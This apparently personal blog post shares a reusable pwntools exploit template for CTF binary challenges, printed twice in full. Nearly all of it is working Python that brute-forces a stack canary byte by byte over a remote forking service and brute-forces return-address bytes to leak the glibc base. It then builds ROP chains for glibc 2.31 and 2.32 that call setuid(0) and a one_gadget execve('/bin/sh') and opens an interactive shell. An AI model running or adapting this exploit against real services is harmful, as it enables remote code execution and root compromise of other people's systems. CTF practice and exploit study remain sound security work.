[MENU] | |||||||||
[THOUGHTS] | [TECH RESOURCES] | [TRASH TALK] | |||||||
[DANK MEMES] | [FEATURED ARTISTS] | [W] |
Hello guys, I will show you my ROP template for pwning CTF challenges that requires defeating all mitigations.
Also will show you about useful payloads against 2.32 and 2.31 libc versions.
If you want to check out quickly what it is about, go to end of this blog.
If vulnerability exists in main, when main returns, it returns to __libc_start_main.
We can use __libc_print_version when we are bruteforcing addresses, because it outputs something about remote glibc informations, when we hit it, we will know our guess is valid.
In this case, it is really useful and very close to __libc_start_main.
Let's define context values.
- #!/usr/bin/env python
- from pwn import *
- from time import sleep
-
- # set up terminal
- context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
-
- # you dont have to set this but i dont like a lot of informations, while doing bruteforcing
- context.log_level = "error"
-
- # if forking service is very slow, you can increase this value
- context.timeout = 5
-
-
- # target binary
- exe = context.binary = ELF("./bin")
Defining useful functions
- def start(argv=[], *a, **kw):
- """Start the exploit against the target."""
- if args.GDB:
- return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
- else:
- return process([exe.path] + argv, *a, **kw)
-
-
- def pretty(output: bytes):
- return output.decode("utf-8", "backslashreplace")
-
- def pprint(output: bytes):
- print(output.decode("utf-8", "backslashreplace"))
-
- def brut_address(addr: str):
- """
- this function is for lazy guys like me.
- it takes a 4 length string for ex: 'X429'
- Lets assume we have this objdump output.
- 0000000000001429 main:
- It is just creating 1429 2429 3429 .. f429 candidate addresses in little endian.
- returns list
- """
- candidates = list()
- candidate_address = None
- for i in range(0, 16):
- a = addr.replace("X", str(hex(i)).replace("0x", ""))
- candidate_address = struct.pack("B", int(a[2:4], 16)) + struct.pack("B", int(a[0:2], 16))
- candidates.append(candidate_address)
- return candidates
-
- def pack_this(string):
- # I feel that this function is very redundant.
- return struct.pack("B", int(string[2:4], 16)) + struct.pack("B", int(string[0:2], 16))
This function will bruteforce the stack canary. It will do it aggressively. Maybe little bit tinkering is needed here.
You have to change buffer_size, good_str values.
- def bruteforce_canary(main_process: process):
- """
- findout stack canary value
- """
- #
- buffer_size = 40 # change this
- buffer = b"\x41" * buffer_size
-
- #
- bad_str = "*** stack"
- good_str = (
- "CHANGEME" # change to valid output to determine candidate stack canary byte is valid
- )
-
- #
- TEMP = b""
- temp_full_payload = b""
- candidate_byte_tries = 0
- candidate_byte = b"\x00"
- STACK_CANARY = b"\x00"
-
- while True:
- r = remote(RSERVER, RPORT)
- r.clean()
- TEMP = STACK_CANARY
- try:
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- except OverflowError:
- candidate_byte_tries = 0
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- print("[*] The cookie is lost in paradise, trying again.")
- TEMP += candidate_byte
- temp_full_payload = buffer + TEMP
- r.send(temp_full_payload)
-
- answer = pretty(r.recvline())
- try:
- answer = pretty(r.recvline())
- except:
- pass
- if not bad_str in answer:
- STACK_CANARY = TEMP
- candidate_byte_tries = 0
-
- if len(STACK_CANARY) == 8 or len(STACK_CANARY) > 8:
- print("[*] Stack canary value is completely found.")
- break
- else:
- candidate_byte_tries += 1
- main_process.clean_and_log()
- r.clean()
- r.close()
-
- return STACK_CANARY
- def try_rop(main_process: process, STACK_CANARY: bytes, payload, rbp: int):
- """
- this function will send our payload with correct values and returns what it recieved.
- You have to change buffer_size value in this function.
- """
- r = remote(RSERVER, RPORT)
- buffer_size = 136 # change this
- buffer = b"\x40" * buffer_size
- rop1 = (
- buffer
- + STACK_CANARY
- # junk for rbp
- + p64(rbp)
- + payload
- )
- main_process.clean_and_log()
- r.send(rop1)
- answer = r.recv(4096)
- r.clean()
- r.close()
- return answer
- def findout_offset(STACK_CANARY: bytes, good_str: str, addr: str, main_process: process):
- """
- this function will use brut_address() and try_rop() function to findout last 2 bytes of something you would like to know.
- """
- c_list = brut_address(addr)
- answer = ""
-
- real_offset = None
-
- for candidate in c_list:
- answer = try_rop(main_process, STACK_CANARY, candidate)
- answer = pretty(answer)
- if good_str in answer:
- real_offset = candidate
- print("[*] Offset found")
- break
-
- return real_offset
- def bruteforce_libc(main_process: process, predicted_offset, STACK_CANARY):
- """
- this function will try to find out where is __libc_print_version
- the options are for libc 2.32 and 2.31, if your target is different, you have to add and define here.
- """
-
- # the output looks like something like this
- # https://github.com/lattera/glibc/blob/master/csu/version.c line 26
- # static const char banner[]
- banner = """
- "GNU C Library "PKGVERSION RELEASE" release version "VERSION".
- Copyright (C) 2018 Free Software Foundation, Inc.
- This is free software; see the source for copying conditions.
- There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
- PARTICULAR PURPOSE.
- Compiled by GNU CC version "__VERSION__".
- """
-
- good_str = "GNU C Library"
-
- # desired return address
- if LIBC_LATEST:
- __libc_print_version = "X250" # libc.232
- else:
- __libc_print_version = "X1b0" # libc.231
-
- # mask
- MASK_POINT = "0xkkjjggyyX1b0".replace("X", str(predicted_offset))
- #
- TEMP = b""
- candidate_byte_tries = 0
- candidate_byte = b"\x00"
- predicted = struct.pack("B", int(MASK_POINT[10:12], 16))
-
- # really lazy
-
- if LIBC_LATEST:
- FULL_ADDRESS = b"\x50" + predicted
- else:
- FULL_ADDRESS = b"\xb0" + predicted
-
- PHASE = 1
- while True:
- TEMP = FULL_ADDRESS
- try:
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- except OverflowError:
- candidate_byte_tries = 0
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- print("[*] The pointer is lost in paradise, trying again.")
-
- TEMP += candidate_byte
- answer = try_rop(main_process, STACK_CANARY, TEMP)
- answer = pretty(answer)
- if good_str in answer:
- print("[*] Another offset is found")
- print(f"[*] Value is {candidate_byte}")
- FULL_ADDRESS = TEMP
-
- if len(FULL_ADDRESS) == 8 or len(FULL_ADDRESS) > 8:
- print("[*] Got lucky, randomness defeated, victory is near")
- if PHASE == 1:
- MASK_POINT = MASK_POINT.replace(
- "yy", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- PHASE += 1
- elif PHASE == 2:
- MASK_POINT = MASK_POINT.replace(
- "gg", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- PHASE += 1
- elif PHASE == 3:
- MASK_POINT = MASK_POINT.replace(
- "jj", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- PHASE += 1
- elif PHASE == 4:
- MASK_POINT = MASK_POINT.replace(
- "kk", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- print(f"[*] Mask is created __libc_print_version is @ {MASK_POINT}")
- break
-
- candidate_byte_tries = 0
-
- else:
- candidate_byte_tries += 1
-
- main_process.clean_and_log()
-
- return FULL_ADDRESS, MASK_POINT
- def get_shell(STACK_CANARY: bytes, payload: bytes, rbp: int):
- """
- after all needed information, this function sends our payload and expects a interactive connection.
- """
- r = remote(RSERVER, RPORT)
-
- buffer_size = 136 # change this
- buffer = b"\x40" * buffer_size
-
- rop1 = (
- buffer
- + STACK_CANARY
- # junk for rbp
- + p64(rbp)
- + payload
- )
-
- r.send(rop1)
- r.interactive()
- r.close()
- def main():
- """
- this is example usage of my template
- """
- STACK_CANARY = b""
- main_process = start()
- main_process.recvuntil("something about challenge hurr durr\n")
- STACK_CANARY = bruteforce_canary(main_process)
- good_str = "GNU C Library"
-
- if LIBC_LATEST:
- __libc_print_version = "X250"
- else:
- # example: 0x7fc99c5bf1b0 endbr64
- __libc_print_version = "X1b0" #
-
- real_offset = None
- while real_offset is None:
- real_offset = findout_offset(STACK_CANARY, good_str, __libc_print_version, main_process)
-
- predicted_offset = hex(real_offset[1]).replace("0x", "")[0]
-
- print(f"[*] Offset {predicted_offset}")
-
- FULL_ADDRESS, MASK_POINT = bruteforce_libc(main_process, predicted_offset, STACK_CANARY)
-
- print(f"[*] is this working? {MASK_POINT}")
-
- if LIBC_LATEST:
- libc.address = int(MASK_POINT, 16) - libc.sym["__libc_print_version"]
- else:
- # this sym does not work in 2.31, cannot find it, i dont know why
- libc.address = int(MASK_POINT, 16) - 0x271B0
-
- print(f"Your libc base is @ {hex(libc.address)}")
-
- if LIBC_LATEST:
- POP_R12 = libc.address + 0x00000000000282EA
- POP_RDI = libc.address + 0x00000000001228FA
- # imo, this gadget more stable than others.
- # 0xcda5a execve("/bin/sh", r12, r13)
- # constraints:
- # [r12] == NULL || r12 == NULL
- # [r13] == NULL || r13 == NULL
- ONE_GADGET = libc.address + 0xCDA5A
- SETUID = libc.sym["setuid"]
-
- if LIBC_LATEST:
- # this payload is for if binary owned by root, if does not you can delete POP_RDI + 0 + SETUID part.
- rop3 = p64(POP_RDI) + p64(0x0) + p64(SETUID) + p64(POP_R12) + p64(0x0) + p64(ONE_GADGET)
- else:
- # 0xe6e79 execve("/bin/sh", rsi, rdx)
- # constraints:
- # [rsi] == NULL || rsi == NULL
- # [rdx] == NULL || rdx == NULL
- # WARNING: this one_gadget output is wrong, it does not warn you about RBP
- # It also mov's something to what you overwritten to RBP value while doing ROP
- # You have to pass a valid area that is writable.
- ONE_GADGET = int(libc.address) + 0xE6E79
- # 0x000000000011c371: pop rdx; pop r12; ret;
- POP_RDX = int(libc.address) + 0x000000000011C371
- POP_RSI = int(libc.address) + 0x0000000000027529
- POP_RDI = int(libc.address) + 0x0000000000026B72
- # this payload is for if binary owned by root, if does not you can delete POP_RDI + 0 + SETUID part.
- rop3 = (
- p64(POP_RDI)
- + p64(0x0)
- + p64(SETUID)
- + p64(POP_RDX)
- + p64(0x0)
- + p64(0x0)
- + p64(POP_RSI)
- + p64(0x0)
- + p64(ONE_GADGET)
- )
-
- rbp = 0
- if LIBC_LATEST:
- rbp = 0
- else:
- # must be writable
- # idk if this is okay, vmmap says that this area is writable.
- rbp = int(libc.address) + 0x1EF000
-
- get_shell(STACK_CANARY, rop3, rbp)
-
- while True:
- a = input("got shell?")
-
- if "n" in a:
- get_shell(STACK_CANARY, rop3, rbp)
- elif "y" in a:
- break
- #!/usr/bin/env python
- from pwn import *
- from time import sleep
-
- context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
- context.log_level = "error"
- context.timeout = 5
- exe = context.binary = ELF("./bin")
-
-
- # IF libc 2.32
- LIBC_LATEST = True
-
- if LIBC_LATEST:
- libc = ELF("/usr/lib/libc.so.6") # also exe.libc will work tho
- # ubuntu 20.04
- else:
- libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
-
- RSERVER = "localhost"
- RPORT = 1881
-
-
- gdbscript = """
- b *main
- """
-
- def start(argv=[], *a, **kw):
- """Start the exploit against the target."""
- if args.GDB:
- return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
- else:
- return process([exe.path] + argv, *a, **kw)
-
-
- def pretty(output):
- return output.decode("utf-8", "backslashreplace")
-
-
- def pprint(output):
- print(output.decode("utf-8", "backslashreplace"))
-
-
- def brut_address(addr):
- candidates = list()
-
- candidate_address = None
-
- for i in range(0, 16):
- a = addr.replace("X", str(hex(i)).replace("0x", ""))
- candidate_address = struct.pack("B", int(a[2:4], 16)) + struct.pack("B", int(a[0:2], 16))
- candidates.append(candidate_address)
- return candidates
-
-
- def pack_this(string):
- return struct.pack("B", int(string[2:4], 16)) + struct.pack("B", int(string[0:2], 16))
-
-
- def bruteforce_canary(main_process: process):
- buffer_size = 40 # change this
- buffer = b"\x41" * buffer_size
-
- bad_str = "*** stack"
- good_str = (
- "CHANGEME!\n"
- )
-
- TEMP = b""
- temp_full_payload = b""
- candidate_byte_tries = 0
- candidate_byte = b"\x00"
- STACK_CANARY = b"\x00"
-
- while True:
- r = remote(RSERVER, RPORT)
- r.clean()
- TEMP = STACK_CANARY
- try:
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- except OverflowError:
- candidate_byte_tries = 0
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- print("[*] The cookie is lost in paradise, trying again.")
- TEMP += candidate_byte
- temp_full_payload = buffer + TEMP
- r.send(temp_full_payload)
-
- answer = pretty(r.recvline())
- try:
- answer = pretty(r.recvline())
- except:
- pass
- if not bad_str in answer:
- STACK_CANARY = TEMP
- candidate_byte_tries = 0
-
- if len(STACK_CANARY) == 8 or len(STACK_CANARY) > 8:
- print("[*] Stack canary value is completely found.")
- break
- else:
- candidate_byte_tries += 1
- main_process.clean_and_log()
- r.clean()
- r.close()
-
- return STACK_CANARY
-
-
- def try_rop(main_process: process, STACK_CANARY: bytes, payload, rbp: int):
- r = remote(RSERVER, RPORT)
- buffer_size = 136 # change this
- buffer = b"\x40" * buffer_size
- rop1 = (
- buffer
- + STACK_CANARY
- # junk for rbp
- + p64(rbp)
- + payload
- )
- main_process.clean_and_log()
- r.send(rop1)
- answer = r.recv(4096)
- r.clean()
- r.close()
- return answer
-
-
- def findout_offset(STACK_CANARY: bytes, good_str: str, addr: str, main_process: process):
- c_list = brut_address(addr)
- answer = ""
- real_offset = None
-
- for candidate in c_list:
- answer = try_rop(main_process, STACK_CANARY, candidate)
- answer = pretty(answer)
- if good_str in answer:
- real_offset = candidate
- print("[*] Offset found")
- break
- return real_offset
-
-
- def get_shell(STACK_CANARY: bytes, payload, rbp):
- r = remote(RSERVER, RPORT)
- buffer_size = 136
- buffer = b"\x40" * buffer_size
- rop1 = (
- buffer
- + STACK_CANARY
- # junk for rbp
- + p64(rbp)
- + payload
- )
- r.send(rop1)
- r.interactive()
- r.close()
-
-
- def bruteforce_libc(main_process: process, predicted_offset, STACK_CANARY):
- good_str = "GNU C Library"
- if LIBC_LATEST:
- __libc_print_version = "X250" # libc.232
- else:
- __libc_print_version = "X1b0" # libc.231
- MASK_POINT = "0xkkjjggyyX1b0".replace("X", str(predicted_offset))
- TEMP = b""
- candidate_byte_tries = 0
- candidate_byte = b"\x00"
- predicted = struct.pack("B", int(MASK_POINT[10:12], 16))
-
- if LIBC_LATEST:
- FULL_ADDRESS = b"\x50" + predicted
- else:
- FULL_ADDRESS = b"\xb0" + predicted
-
- PHASE = 1
- while True:
- TEMP = FULL_ADDRESS
- try:
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- except OverflowError:
- candidate_byte_tries = 0
- candidate_byte = candidate_byte_tries.to_bytes(1, "big")
- print("[*] The pointer is lost in paradise, trying again.")
-
- TEMP += candidate_byte
- answer = try_rop(main_process, STACK_CANARY, TEMP)
- answer = pretty(answer)
- if good_str in answer:
- print("[*] Another offset is found")
- print(f"[*] Value is {candidate_byte}")
- FULL_ADDRESS = TEMP
-
- if len(FULL_ADDRESS) == 8 or len(FULL_ADDRESS) > 8:
- print("[*] Got lucky, pie is defeated, victory is near")
- if PHASE == 1:
- MASK_POINT = MASK_POINT.replace(
- "yy", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- PHASE += 1
- elif PHASE == 2:
- MASK_POINT = MASK_POINT.replace(
- "gg", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- PHASE += 1
- elif PHASE == 3:
- MASK_POINT = MASK_POINT.replace(
- "jj", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- PHASE += 1
- elif PHASE == 4:
- MASK_POINT = MASK_POINT.replace(
- "kk", str(hex((candidate_byte_tries)).replace("0x", ""))
- )
- print(f"[*] Mask is created __libc_print_version is @ {MASK_POINT}")
- break
-
- candidate_byte_tries = 0
-
- else:
- candidate_byte_tries += 1
-
- main_process.clean_and_log()
-
- return FULL_ADDRESS, MASK_POINT
-
- def main():
- STACK_CANARY = b""
-
- main_process = start()
- main_process.recvuntil("bla bla hurr dur\n\n")
- STACK_CANARY = bruteforce_canary(main_process)
-
- good_str = "GNU C Library"
-
- if LIBC_LATEST:
- __libc_print_version = "X250"
- else:
- # example: 0x7fc99c5bf1b0 endbr64
- __libc_print_version = "X1b0" #
-
- real_offset = None
-
- while real_offset is None:
- real_offset = findout_offset(STACK_CANARY, good_str, __libc_print_version, main_process)
-
- predicted_offset = hex(real_offset[1]).replace("0x", "")[0]
-
- print(f"[*] Offset {predicted_offset}")
-
- FULL_ADDRESS, MASK_POINT = bruteforce_libc(main_process, predicted_offset, STACK_CANARY)
-
- print(f"[*] is this working? {MASK_POINT}")
-
- if LIBC_LATEST:
- libc.address = int(MASK_POINT, 16) - libc.sym["__libc_print_version"]
- else:
- libc.address = int(MASK_POINT, 16) - 0x271B0 # this sym does not work in 2.31
-
- print(f"Your libc base is @ {hex(libc.address)}")
-
- if LIBC_LATEST:
- POP_R12 = libc.address + 0x00000000000282EA
- POP_RDI = libc.address + 0x00000000001228FA
- ONE_GADGET = libc.address + 0xCDA5A
- SETUID = libc.sym["setuid"]
-
- if LIBC_LATEST:
- rop3 = p64(POP_RDI) + p64(0x0) + p64(SETUID) + p64(POP_R12) + p64(0x0) + p64(ONE_GADGET)
- else:
- ONE_GADGET = int(libc.address) + 0xE6E79
- # 0x000000000011c371: pop rdx; pop r12; ret;
- POP_RDX = int(libc.address) + 0x000000000011C371
- POP_RSI = int(libc.address) + 0x0000000000027529
- POP_RDI = int(libc.address) + 0x0000000000026B72
- rop3 = (
- p64(POP_RDI)
- + p64(0x0)
- + p64(SETUID)
- + p64(POP_RDX)
- + p64(0x0)
- + p64(0x0)
- + p64(POP_RSI)
- + p64(0x0)
- + p64(ONE_GADGET)
- )
-
- rbp = 0
- if LIBC_LATEST:
- rbp = 0
- else:
- rbp = int(libc.address) + 0x1EF000
-
- get_shell(STACK_CANARY, rop3, rbp)
-
- while True:
- a = input("got shell?")
-
- if "n" in a:
- get_shell(STACK_CANARY, rop3, rbp)
- elif "y" in a:
- break
-
- if __name__ == "__main__":
- main()
Thank you for reading my blog, have a nice day absolute legends!